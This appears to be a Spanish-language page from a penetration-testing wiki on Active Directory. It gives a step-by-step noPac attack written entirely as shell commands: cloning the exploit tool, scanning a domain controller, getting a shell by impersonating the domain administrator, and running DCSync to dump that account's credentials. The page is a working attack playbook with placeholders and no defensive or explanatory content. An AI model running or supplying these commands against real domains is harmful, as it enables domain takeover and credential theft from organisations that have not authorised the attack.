> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/vulnerabilidades/nopac.md).

# NoPac

1\) Clonación de repositorio.

```shell
git clone https://github.com/Ridter/noPac.git
cd noPac
```

2\) Revisión si el objetivo es vulnerable.

```shell
scanner.py <ACME.LOCAL>/<user>:<password> -dc-ip <IP-address-DC> -use-ldap
```

3\) Obtención de shell.

```shell
noPac.py <ACME.LOCAL>/<user>:<password> -dc-ip <IP-address-DC> -dc-host <hostname-DC> -shell --impersonate administrator -use-ldap
```

4\) Realización de ataque de DCSync.

```shell
noPac.py <ACME.LOCAL>/<user>:<password> -dc-ip <IP-address-DC> -dc-host <hostname-DC> --impersonate administrator -use-ldap -dump -just-dc-user <ACME>/administrator
```